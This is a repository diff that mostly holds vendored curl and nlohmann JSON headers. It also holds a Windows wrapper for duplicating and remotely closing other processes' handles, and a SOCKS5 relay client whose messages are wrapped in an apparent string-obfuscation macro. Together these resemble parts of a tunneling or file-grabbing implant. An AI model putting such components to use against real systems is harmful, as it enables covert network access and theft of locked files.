curlcheck_cb_compatible((expr), _curl_sockopt_callback1) || \
curlcheck_cb_compatible((expr), _curl_sockopt_callback2))
typedef int (*_curl_sockopt_callback1)(void *, curl_socket_t, curlsocktype);
typedef int (*_curl_sockopt_callback2)(const void *, curl_socket_t,
curlsocktype);
/* evaluates to true if expr is of type curl_opensocket_callback or
"similar" */
#define curlcheck_opensocket_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_opensocket_callback) || \
curlcheck_cb_compatible((expr), _curl_opensocket_callback1) || \
curlcheck_cb_compatible((expr), _curl_opensocket_callback2) || \
curlcheck_cb_compatible((expr), _curl_opensocket_callback3) || \
curlcheck_cb_compatible((expr), _curl_opensocket_callback4))
typedef curl_socket_t (*_curl_opensocket_callback1)
(void *, curlsocktype, struct curl_sockaddr *);
typedef curl_socket_t (*_curl_opensocket_callback2)
(void *, curlsocktype, const struct curl_sockaddr *);
typedef curl_socket_t (*_curl_opensocket_callback3)
(const void *, curlsocktype, struct curl_sockaddr *);
typedef curl_socket_t (*_curl_opensocket_callback4)
(const void *, curlsocktype, const struct curl_sockaddr *);
/* evaluates to true if expr is of type curl_progress_callback or "similar" */
#define curlcheck_progress_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_progress_callback) || \
curlcheck_cb_compatible((expr), _curl_progress_callback1) || \
curlcheck_cb_compatible((expr), _curl_progress_callback2))
typedef int (*_curl_progress_callback1)(void *,
double, double, double, double);
typedef int (*_curl_progress_callback2)(const void *,
double, double, double, double);
/* evaluates to true if expr is of type curl_debug_callback or "similar" */
#define curlcheck_debug_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_debug_callback) || \
curlcheck_cb_compatible((expr), _curl_debug_callback1) || \
curlcheck_cb_compatible((expr), _curl_debug_callback2) || \
curlcheck_cb_compatible((expr), _curl_debug_callback3) || \
curlcheck_cb_compatible((expr), _curl_debug_callback4) || \
curlcheck_cb_compatible((expr), _curl_debug_callback5) || \
curlcheck_cb_compatible((expr), _curl_debug_callback6) || \
curlcheck_cb_compatible((expr), _curl_debug_callback7) || \
curlcheck_cb_compatible((expr), _curl_debug_callback8))
typedef int (*_curl_debug_callback1) (CURL *,
curl_infotype, char *, size_t, void *);
typedef int (*_curl_debug_callback2) (CURL *,
curl_infotype, char *, size_t, const void *);
typedef int (*_curl_debug_callback3) (CURL *,
curl_infotype, const char *, size_t, void *);
typedef int (*_curl_debug_callback4) (CURL *,
curl_infotype, const char *, size_t, const void *);
typedef int (*_curl_debug_callback5) (CURL *,
curl_infotype, unsigned char *, size_t, void *);
typedef int (*_curl_debug_callback6) (CURL *,
curl_infotype, unsigned char *, size_t, const void *);
typedef int (*_curl_debug_callback7) (CURL *,
curl_infotype, const unsigned char *, size_t, void *);
typedef int (*_curl_debug_callback8) (CURL *,
curl_infotype, const unsigned char *, size_t, const void *);
/* evaluates to true if expr is of type curl_ssl_ctx_callback or "similar" */
/* this is getting even messier... */
#define curlcheck_ssl_ctx_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_ssl_ctx_callback) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback1) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback2) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback3) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback4) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback5) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback6) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback7) || \
curlcheck_cb_compatible((expr), _curl_ssl_ctx_callback8))
typedef CURLcode (*_curl_ssl_ctx_callback1)(CURL *, void *, void *);
typedef CURLcode (*_curl_ssl_ctx_callback2)(CURL *, void *, const void *);
typedef CURLcode (*_curl_ssl_ctx_callback3)(CURL *, const void *, void *);
typedef CURLcode (*_curl_ssl_ctx_callback4)(CURL *, const void *,
const void *);
#ifdef HEADER_SSL_H
/* hack: if we included OpenSSL's ssl.h, we know about SSL_CTX
* this will of course break if we are included before OpenSSL headers...
*/
typedef CURLcode (*_curl_ssl_ctx_callback5)(CURL *, SSL_CTX *, void *);
typedef CURLcode (*_curl_ssl_ctx_callback6)(CURL *, SSL_CTX *, const void *);
typedef CURLcode (*_curl_ssl_ctx_callback7)(CURL *, const SSL_CTX *, void *);
typedef CURLcode (*_curl_ssl_ctx_callback8)(CURL *, const SSL_CTX *,
const void *);
#else
typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback5;
typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback6;
typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback7;
typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback8;
#endif
/* evaluates to true if expr is of type curl_conv_callback or "similar" */
#define curlcheck_conv_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_conv_callback) || \
curlcheck_cb_compatible((expr), _curl_conv_callback1) || \
curlcheck_cb_compatible((expr), _curl_conv_callback2) || \
curlcheck_cb_compatible((expr), _curl_conv_callback3) || \
curlcheck_cb_compatible((expr), _curl_conv_callback4))
typedef CURLcode (*_curl_conv_callback1)(char *, size_t length);
typedef CURLcode (*_curl_conv_callback2)(const char *, size_t length);
typedef CURLcode (*_curl_conv_callback3)(void *, size_t length);
typedef CURLcode (*_curl_conv_callback4)(const void *, size_t length);
/* evaluates to true if expr is of type curl_seek_callback or "similar" */
#define curlcheck_seek_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_seek_callback) || \
curlcheck_cb_compatible((expr), _curl_seek_callback1) || \
curlcheck_cb_compatible((expr), _curl_seek_callback2))
typedef CURLcode (*_curl_seek_callback1)(void *, curl_off_t, int);
typedef CURLcode (*_curl_seek_callback2)(const void *, curl_off_t, int);
#endif /* CURLINC_TYPECHECK_GCC_H */
+155
View File
@@ -0,0 +1,155 @@
#ifndef CURLINC_URLAPI_H
#define CURLINC_URLAPI_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#include "curl.h"
#ifdef __cplusplus
extern "C" {
#endif
/* the error codes for the URL API */
typedef enum {
CURLUE_OK,
CURLUE_BAD_HANDLE, /* 1 */
CURLUE_BAD_PARTPOINTER, /* 2 */
CURLUE_MALFORMED_INPUT, /* 3 */
CURLUE_BAD_PORT_NUMBER, /* 4 */
CURLUE_UNSUPPORTED_SCHEME, /* 5 */
CURLUE_URLDECODE, /* 6 */
CURLUE_OUT_OF_MEMORY, /* 7 */
CURLUE_USER_NOT_ALLOWED, /* 8 */
CURLUE_UNKNOWN_PART, /* 9 */
CURLUE_NO_SCHEME, /* 10 */
CURLUE_NO_USER, /* 11 */
CURLUE_NO_PASSWORD, /* 12 */
CURLUE_NO_OPTIONS, /* 13 */
CURLUE_NO_HOST, /* 14 */
CURLUE_NO_PORT, /* 15 */
CURLUE_NO_QUERY, /* 16 */
CURLUE_NO_FRAGMENT, /* 17 */
CURLUE_NO_ZONEID, /* 18 */
CURLUE_BAD_FILE_URL, /* 19 */
CURLUE_BAD_FRAGMENT, /* 20 */
CURLUE_BAD_HOSTNAME, /* 21 */
CURLUE_BAD_IPV6, /* 22 */
CURLUE_BAD_LOGIN, /* 23 */
CURLUE_BAD_PASSWORD, /* 24 */
CURLUE_BAD_PATH, /* 25 */
CURLUE_BAD_QUERY, /* 26 */
CURLUE_BAD_SCHEME, /* 27 */
CURLUE_BAD_SLASHES, /* 28 */
CURLUE_BAD_USER, /* 29 */
CURLUE_LACKS_IDN, /* 30 */
CURLUE_TOO_LARGE, /* 31 */
CURLUE_LAST
} CURLUcode;
typedef enum {
CURLUPART_URL,
CURLUPART_SCHEME,
CURLUPART_USER,
CURLUPART_PASSWORD,
CURLUPART_OPTIONS,
CURLUPART_HOST,
CURLUPART_PORT,
CURLUPART_PATH,
CURLUPART_QUERY,
CURLUPART_FRAGMENT,
CURLUPART_ZONEID /* added in 7.65.0 */
} CURLUPart;
#define CURLU_DEFAULT_PORT (1<<0) /* return default port number */
#define CURLU_NO_DEFAULT_PORT (1<<1) /* act as if no port number was set,
if the port number matches the
default for the scheme */
#define CURLU_DEFAULT_SCHEME (1<<2) /* return default scheme if
missing */
#define CURLU_NON_SUPPORT_SCHEME (1<<3) /* allow non-supported scheme */
#define CURLU_PATH_AS_IS (1<<4) /* leave dot sequences */
#define CURLU_DISALLOW_USER (1<<5) /* no user+password allowed */
#define CURLU_URLDECODE (1<<6) /* URL decode on get */
#define CURLU_URLENCODE (1<<7) /* URL encode on set */
#define CURLU_APPENDQUERY (1<<8) /* append a form style part */
#define CURLU_GUESS_SCHEME (1<<9) /* legacy curl-style guessing */
#define CURLU_NO_AUTHORITY (1<<10) /* Allow empty authority when the
scheme is unknown. */
#define CURLU_ALLOW_SPACE (1<<11) /* Allow spaces in the URL */
#define CURLU_PUNYCODE (1<<12) /* get the hostname in punycode */
#define CURLU_PUNY2IDN (1<<13) /* punycode => IDN conversion */
#define CURLU_GET_EMPTY (1<<14) /* allow empty queries and fragments
when extracting the URL or the
components */
#define CURLU_NO_GUESS_SCHEME (1<<15) /* for get, do not accept a guess */
typedef struct Curl_URL CURLU;
/*
* curl_url() creates a new CURLU handle and returns a pointer to it.
* Must be freed with curl_url_cleanup().
*/
CURL_EXTERN CURLU *curl_url(void);
/*
* curl_url_cleanup() frees the CURLU handle and related resources used for
* the URL parsing. It will not free strings previously returned with the URL
* API.
*/
CURL_EXTERN void curl_url_cleanup(CURLU *handle);
/*
* curl_url_dup() duplicates a CURLU handle and returns a new copy. The new
* handle must also be freed with curl_url_cleanup().
*/
CURL_EXTERN CURLU *curl_url_dup(const CURLU *in);
/*
* curl_url_get() extracts a specific part of the URL from a CURLU
* handle. Returns error code. The returned pointer MUST be freed with
* curl_free() afterwards.
*/
CURL_EXTERN CURLUcode curl_url_get(const CURLU *handle, CURLUPart what,
char **part, unsigned int flags);
/*
* curl_url_set() sets a specific part of the URL in a CURLU handle. Returns
* error code. The passed in string will be copied. Passing a NULL instead of
* a part string, clears that part.
*/
CURL_EXTERN CURLUcode curl_url_set(CURLU *handle, CURLUPart what,
const char *part, unsigned int flags);
/*
* curl_url_strerror() turns a CURLUcode value into the equivalent human
* readable error string. This is useful for printing meaningful error
* messages.
*/
CURL_EXTERN const char *curl_url_strerror(CURLUcode);
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif /* CURLINC_URLAPI_H */
@@ -0,0 +1,84 @@
#ifndef CURLINC_WEBSOCKETS_H
#define CURLINC_WEBSOCKETS_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#ifdef __cplusplus
extern "C" {
#endif
struct curl_ws_frame {
int age; /* zero */
int flags; /* See the CURLWS_* defines */
curl_off_t offset; /* the offset of this data into the frame */
curl_off_t bytesleft; /* number of pending bytes left of the payload */
size_t len; /* size of the current data chunk */
};
/* flag bits */
#define CURLWS_TEXT (1<<0)
#define CURLWS_BINARY (1<<1)
#define CURLWS_CONT (1<<2)
#define CURLWS_CLOSE (1<<3)
#define CURLWS_PING (1<<4)
#define CURLWS_OFFSET (1<<5)
/*
* NAME curl_ws_recv()
*
* DESCRIPTION
*
* Receives data from the websocket connection. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
*/
CURL_EXTERN CURLcode curl_ws_recv(CURL *curl, void *buffer, size_t buflen,
size_t *recv,
const struct curl_ws_frame **metap);
/* flags for curl_ws_send() */
#define CURLWS_PONG (1<<6)
/*
* NAME curl_ws_send()
*
* DESCRIPTION
*
* Sends data over the websocket connection. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
*/
CURL_EXTERN CURLcode curl_ws_send(CURL *curl, const void *buffer,
size_t buflen, size_t *sent,
curl_off_t fragsize,
unsigned int flags);
/* bits for the CURLOPT_WS_OPTIONS bitmask: */
#define CURLWS_RAW_MODE (1<<0)
CURL_EXTERN const struct curl_ws_frame *curl_ws_meta(CURL *curl);
#ifdef __cplusplus
}
#endif
#endif /* CURLINC_WEBSOCKETS_H */
@@ -0,0 +1,37 @@
#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include "deadlock_wrapper.h" // Important to include your own header
#include "DLCK/deadlock.h"
namespace deadlock_wrapper {
// Safe cast — both structs have identical memory layout
PPROCESS_HANDLE_SNAPSHOT_INFORMATION getProcessHandles(HANDLE hProcess) {
return reinterpret_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(
deadlock::getProcessHandles(hProcess)
);
}
HANDLE dupHandle(HANDLE handleValue, HANDLE ownerProcess) {
return deadlock::dupHandle(handleValue, ownerProcess);
}
bool isFileObj(HANDLE hFile) {
return deadlock::isFileObj(hFile) ? true : false;
}
bool isDiskFile(HANDLE hFile) {
return deadlock::isDiskFile(hFile) ? true : false;
}
const char* getFilePath(HANDLE hFile) {
return deadlock::getFilePath(hFile);
}
bool remoteCloseHandle(HANDLE hProcess, HANDLE handleValue) {
return deadlock::remoteCloseHandle(hProcess, handleValue) ? true : false;
}
}
@@ -0,0 +1,28 @@
#pragma once
#include <Windows.h>
namespace deadlock_wrapper {
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
PPROCESS_HANDLE_SNAPSHOT_INFORMATION getProcessHandles(HANDLE hProcess);
HANDLE dupHandle(HANDLE handleValue, HANDLE ownerProcess);
bool isFileObj(HANDLE hFile);
bool isDiskFile(HANDLE hFile);
const char* getFilePath(HANDLE hFile);
bool remoteCloseHandle(HANDLE hProcess, HANDLE handleValue);
}
+326
View File
@@ -0,0 +1,326 @@
// CLIENT_SK5_V2
std::string hex_string(std::string hexstr)
{
std::string str = "";
str.resize((hexstr.size() + 1) / 2);
for (size_t i = 0, j = 0; i < str.size(); i++, j++)
{
char at = '@';
str[i] = (hexstr[j] & at ? hexstr[j] + 9 : hexstr[j]) << 4, j++;
str[i] |= (hexstr[j] & at ? hexstr[j] + 9 : hexstr[j]) & 0xF;
}
return str;
}
std::string string_hex(std::string str, const bool capital = false)
{
std::string hexstr = "";
hexstr.resize(str.size() * 2);
static const char a = capital ? 0x40 : 0x60;
for (size_t i = 0; i < str.size(); i++)
{
char c = (str[i] >> 4) & 0xF;
hexstr[i * 2] = c > 9 ? (c - 9) | a : c | '0';
hexstr[i * 2 + 1] = (str[i] & 0xF) > 9 ? (str[i] - 9) & 0xF | a : str[i] & 0xF | '0';
}
return hexstr;
}
std::string char_to_string(char x[], int size_recv)
{
int num_car = 0;
int stop_while = size_recv;
std::string output = "";
while (stop_while > 0)
{
output += x[num_car];
if (num_car < size_recv) { num_car++; }
stop_while--;
}
return output;
}
long int hex_to_dec(std::string x)
{
return strtol(x.data(), NULL, 16);
}
typedef struct
{
SOCKET x;
SOCKET y;
BOOL VERBOSE_mode;
int timeout_sec;
int buf_size;
} threaddata;
void set_fds(int sock1, int sock2, fd_set* fds) {
FD_ZERO(fds);
FD_SET(sock1, fds);
FD_SET(sock2, fds);
}
// MSG SOCKS5
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not compt
char msg_request_co_ok[] = { 0X05, 0X00, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // Request connect OK
DWORD WINAPI sock5_gen(void* param)
{
threaddata* sub = (threaddata*)param;
SOCKET sock_SK5 = sub->x;
BOOL VERBOSE_mode = sub->VERBOSE_mode;
int timeout_sec = sub->timeout_sec;
int buf_size = sub->buf_size;
char buf[5016]; // If changed, line 25 in main.cpp is a change too
int version_sock = 0; // 5, 4, 0, ??
// Phase A = Version Socks, Send Msg Auth
memset(buf, 0, sizeof(buf));
// Get Version Socks
int size_recv_PA = recv(sock_SK5, buf, sizeof(buf), 0);
if (size_recv_PA <= 0)
{
printf(EC("[!] size_recv_PA <= 0\n"));
closesocket(sock_SK5);
return 1;
}
version_sock = buf[0];
if (version_sock != 5)
{
printf(EC("[!] version_sock != 5\n"));
closesocket(sock_SK5);
return 1;
}
// Send msg_auth_ok
int size_send_PA = send(sock_SK5, msg_auth_ok, sizeof(msg_auth_ok), 0);
if (size_send_PA <= 0)
{
printf(EC("[!] size_send_PA <= 0\n"));
closesocket(sock_SK5);
return 1;
}
// Phase B = Mode Connect & Type Addr & Addr/Port
memset(buf, 0, sizeof(buf));
int size_recv_PB = recv(sock_SK5, buf, sizeof(buf), 0);
if (size_recv_PB <= 0)
{
printf(EC("[!] size_recv_PB <= 0\n"));
closesocket(sock_SK5);
return 1;
}
int mode_cmd = buf[1]; // Connect = 1, Bind = 2, UDP = 3
int type_addr = buf[3]; // IPv4 = 01, Domain Name = 03, IPv6 = 04
if (mode_cmd != 1)
{
printf(EC("[!] Bind/UDP not supported\n"));
closesocket(sock_SK5);
return 1;
}
std::string dest_ip = ""; // IP dest
int dest_port = 0; // Port dest
if (type_addr == 1) // IPv4
{
std::string raw_demand = char_to_string(buf, size_recv_PB); // convert to string
std::string str_ip_dest = raw_demand.substr(4, 11); // get IPv4
std::string str_port_dest = raw_demand.substr(8, 10); // get Port
sockaddr_in svr = { 0 };
svr.sin_family = AF_INET;
svr.sin_addr.s_addr = MAKELONG(MAKEWORD((buf[4] & 0xff), (buf[5] & 0xff)), MAKEWORD((buf[6] & 0xff), (buf[7] & 0xff)));
dest_ip = inet_ntoa(svr.sin_addr); // IPv4 dest in string
dest_port = hex_to_dec(string_hex(str_port_dest)); // port dest in long
}
if (type_addr == 3) // Domain Name
{
std::string raw_demand = char_to_string(buf, size_recv_PB); // convert to string
int size_domain_name = buf[4]; // Get size Domain Name
std::string str_domain_name;
std::string str_port_dest;
try
{
str_domain_name = raw_demand.substr(5, size_domain_name); // get domain_name
str_port_dest = raw_demand.substr(5 + size_domain_name, 5 + size_domain_name + 2); // get Port
dest_port = hex_to_dec(string_hex(str_port_dest)); // port dest in long
}
catch (const std::out_of_range& e)
{
printf(EC("[!] Out of Range\n"));
}
struct hostent* he_a;
he_a = gethostbyname(str_domain_name.c_str());
if (he_a == NULL) // Error gethostbyname
{
printf(EC("[!] gethostbyname\n"));
closesocket(sock_SK5);
return 12;
}
else // Ok gethostbyname
{
dest_ip = inet_ntoa(*((struct in_addr*)he_a->h_addr_list[0]));
}
}
if (type_addr == 4) // IPv6
{
printf(EC("[!] IPv6 not supported\n"));
int size_send_IPNOK = send(sock_SK5, msg_ipv6_nok, sizeof(msg_ipv6_nok), 0);
if (size_send_IPNOK <= 0) // Send msg_ipv6_nok
{
closesocket(sock_SK5);
return 1;
}
closesocket(sock_SK5);
return 1;
}
// Phase C = Send Request Addr OK & Recv Request & Connect to TARGET SERVER
int size_send_PC = send(sock_SK5, msg_request_co_ok, sizeof(msg_request_co_ok), 0);
if (size_send_PC <= 0) // Send msg_request_co_ok
{
printf(EC("[!] size_send_PC <= 0\n"));
closesocket(sock_SK5);
return 1;
}
memset(buf, 0, sizeof(buf));
int size_recv_PC = recv(sock_SK5, buf, sizeof(buf), 0);
if (size_recv_PC <= 0)
{
printf(EC("[!] size_recv_PC <= 0\n"));
closesocket(sock_SK5);
return 1;
}
SOCKET client_TARGET; // Socket Connection for TARGET
struct sockaddr_in serveraddra_a;
if ((client_TARGET = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) //open socket
printf(EC("[!] socket() failed\n"));
//connect
memset(&serveraddra_a, 0, sizeof(serveraddra_a));
serveraddra_a.sin_family = AF_INET;
serveraddra_a.sin_addr.s_addr = inet_addr(dest_ip.c_str());
serveraddra_a.sin_port = htons((unsigned short)dest_port);
if (connect(client_TARGET, (struct sockaddr*)&serveraddra_a, sizeof(serveraddra_a)) == SOCKET_ERROR)
{
printf(EC("[!] connect() failed\n"));
closesocket(sock_SK5);
return 1;
}
if (send(client_TARGET, buf, size_recv_PC, 0) != size_recv_PC)
printf(EC("[!] send() sent a different number of bytes than expected\n"));
fd_set readfds;
int result, nfds = max(sock_SK5, client_TARGET) + 1;
set_fds(sock_SK5, client_TARGET, &readfds);
// Set timeout for select
timeval tv;
tv.tv_sec = timeout_sec;
tv.tv_usec = 0;
memset(buf, 0, sizeof(buf));
while (TRUE) // SK5_BASE <-> SERVER_TARGET
{
if ((result = select(nfds, &readfds, 0, 0, &tv)) > 0)
{
if (FD_ISSET(sock_SK5, &readfds)) // SK5_BASE -> SERVER_TARGET
{
int recvd_A = 0;
recvd_A = recv(sock_SK5, buf, buf_size, 0);
if (recvd_A <= 0)
{
printf(EC("[!] recvd_A (%i) <= 0\n"), recvd_A);
closesocket(sock_SK5);
return 1;
}
int sendd_A = 0;
send(client_TARGET, buf, recvd_A, 0); // SERVER_TARGET
if (VERBOSE_mode) printf(EC("[+] A DATA RECV = %i | DATA SEND = %i\n"), recvd_A, sendd_A);
}
if (FD_ISSET(client_TARGET, &readfds)) // SERVER_TARGET -> SK5_BASE
{
int recvd_B = recv(client_TARGET, buf, buf_size, 0);
if (recvd_B <= 0)
{
printf(EC("[!] recvd_B (%i) <= 0\n"), recvd_B);
closesocket(sock_SK5);
return 1;
}
int sendd_B = 0;
sendd_B = send(sock_SK5, buf, recvd_B, 0);
if (VERBOSE_mode) printf(EC("[+] B DATA RECV = %i | DATA SEND = %i\n"), recvd_B, sendd_B);
}
set_fds(sock_SK5, client_TARGET, &readfds);
}
else
{
printf(EC("[!] select > 0\n"));
shutdown(client_TARGET, 2);
closesocket(client_TARGET);
closesocket(sock_SK5);
return 12;
}
}
shutdown(client_TARGET, 2);
closesocket(client_TARGET);
closesocket(sock_SK5);
return 0;
}
static int create_sock_thread(void* s)
{
HANDLE handle;
if (!(handle = CreateThread(NULL, 0, sock5_gen, s, 0, 0)))
return 0;
CloseHandle(handle);
return 1;
}
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,176 @@
// __ _____ _____ _____
// __| | __| | | | JSON for Modern C++
// | | |__ | | | | | | version 3.11.3
// |_____|_____|_____|_|___| https://github.com/nlohmann/json
//
// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>
// SPDX-License-Identifier: MIT
#ifndef INCLUDE_NLOHMANN_JSON_FWD_HPP_
#define INCLUDE_NLOHMANN_JSON_FWD_HPP_
#include <cstdint> // int64_t, uint64_t
#include <map> // map
#include <memory> // allocator
#include <string> // string
#include <vector> // vector
// #include <nlohmann/detail/abi_macros.hpp>
// __ _____ _____ _____
// __| | __| | | | JSON for Modern C++
// | | |__ | | | | | | version 3.11.3
// |_____|_____|_____|_|___| https://github.com/nlohmann/json
//
// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>
// SPDX-License-Identifier: MIT
// This file contains all macro definitions affecting or depending on the ABI
#ifndef JSON_SKIP_LIBRARY_VERSION_CHECK
#if defined(NLOHMANN_JSON_VERSION_MAJOR) && defined(NLOHMANN_JSON_VERSION_MINOR) && defined(NLOHMANN_JSON_VERSION_PATCH)
#if NLOHMANN_JSON_VERSION_MAJOR != 3 || NLOHMANN_JSON_VERSION_MINOR != 11 || NLOHMANN_JSON_VERSION_PATCH != 3
#warning "Already included a different version of the library!"
#endif
#endif
#endif
#define NLOHMANN_JSON_VERSION_MAJOR 3 // NOLINT(modernize-macro-to-enum)
#define NLOHMANN_JSON_VERSION_MINOR 11 // NOLINT(modernize-macro-to-enum)
#define NLOHMANN_JSON_VERSION_PATCH 3 // NOLINT(modernize-macro-to-enum)
#ifndef JSON_DIAGNOSTICS
#define JSON_DIAGNOSTICS 0
#endif
#ifndef JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON
#define JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON 0
#endif
#if JSON_DIAGNOSTICS
#define NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS _diag
#else
#define NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS
#endif
#if JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON
#define NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON _ldvcmp
#else
#define NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON
#endif
#ifndef NLOHMANN_JSON_NAMESPACE_NO_VERSION
#define NLOHMANN_JSON_NAMESPACE_NO_VERSION 0
#endif
// Construct the namespace ABI tags component
#define NLOHMANN_JSON_ABI_TAGS_CONCAT_EX(a, b) json_abi ## a ## b
#define NLOHMANN_JSON_ABI_TAGS_CONCAT(a, b) \
NLOHMANN_JSON_ABI_TAGS_CONCAT_EX(a, b)
#define NLOHMANN_JSON_ABI_TAGS \
NLOHMANN_JSON_ABI_TAGS_CONCAT( \
NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS, \
NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON)
// Construct the namespace version component
#define NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT_EX(major, minor, patch) \
_v ## major ## _ ## minor ## _ ## patch
#define NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT(major, minor, patch) \
NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT_EX(major, minor, patch)
#if NLOHMANN_JSON_NAMESPACE_NO_VERSION
#define NLOHMANN_JSON_NAMESPACE_VERSION
#else
#define NLOHMANN_JSON_NAMESPACE_VERSION \
NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT(NLOHMANN_JSON_VERSION_MAJOR, \
NLOHMANN_JSON_VERSION_MINOR, \
NLOHMANN_JSON_VERSION_PATCH)
#endif
// Combine namespace components
#define NLOHMANN_JSON_NAMESPACE_CONCAT_EX(a, b) a ## b
#define NLOHMANN_JSON_NAMESPACE_CONCAT(a, b) \
NLOHMANN_JSON_NAMESPACE_CONCAT_EX(a, b)
#ifndef NLOHMANN_JSON_NAMESPACE
#define NLOHMANN_JSON_NAMESPACE \
nlohmann::NLOHMANN_JSON_NAMESPACE_CONCAT( \
NLOHMANN_JSON_ABI_TAGS, \
NLOHMANN_JSON_NAMESPACE_VERSION)
#endif
#ifndef NLOHMANN_JSON_NAMESPACE_BEGIN
#define NLOHMANN_JSON_NAMESPACE_BEGIN \
namespace nlohmann \
{ \
inline namespace NLOHMANN_JSON_NAMESPACE_CONCAT( \
NLOHMANN_JSON_ABI_TAGS, \
NLOHMANN_JSON_NAMESPACE_VERSION) \
{
#endif
#ifndef NLOHMANN_JSON_NAMESPACE_END
#define NLOHMANN_JSON_NAMESPACE_END \
} /* namespace (inline namespace) NOLINT(readability/namespace) */ \
} // namespace nlohmann
#endif
/*!
@brief namespace for Niels Lohmann
@see https://github.com/nlohmann
@since version 1.0.0
*/
NLOHMANN_JSON_NAMESPACE_BEGIN
/*!
@brief default JSONSerializer template argument
This serializer ignores the template arguments and uses ADL
([argument-dependent lookup](https://en.cppreference.com/w/cpp/language/adl))
for serialization.
*/
template<typename T = void, typename SFINAE = void>
struct adl_serializer;
/// a class to store JSON values
/// @sa https://json.nlohmann.me/api/basic_json/
template<template<typename U, typename V, typename... Args> class ObjectType =
std::map,
template<typename U, typename... Args> class ArrayType = std::vector,
class StringType = std::string, class BooleanType = bool,
class NumberIntegerType = std::int64_t,
class NumberUnsignedType = std::uint64_t,
class NumberFloatType = double,
template<typename U> class AllocatorType = std::allocator,
template<typename T, typename SFINAE = void> class JSONSerializer =
adl_serializer,
class BinaryType = std::vector<std::uint8_t>, // cppcheck-suppress syntaxError
class CustomBaseClass = void>
class basic_json;
/// @brief JSON Pointer defines a string syntax for identifying a specific value within a JSON document
/// @sa https://json.nlohmann.me/api/json_pointer/
template<typename RefStringType>
class json_pointer;
/*!
@brief default specialization
@sa https://json.nlohmann.me/api/json/
*/
using json = basic_json<>;
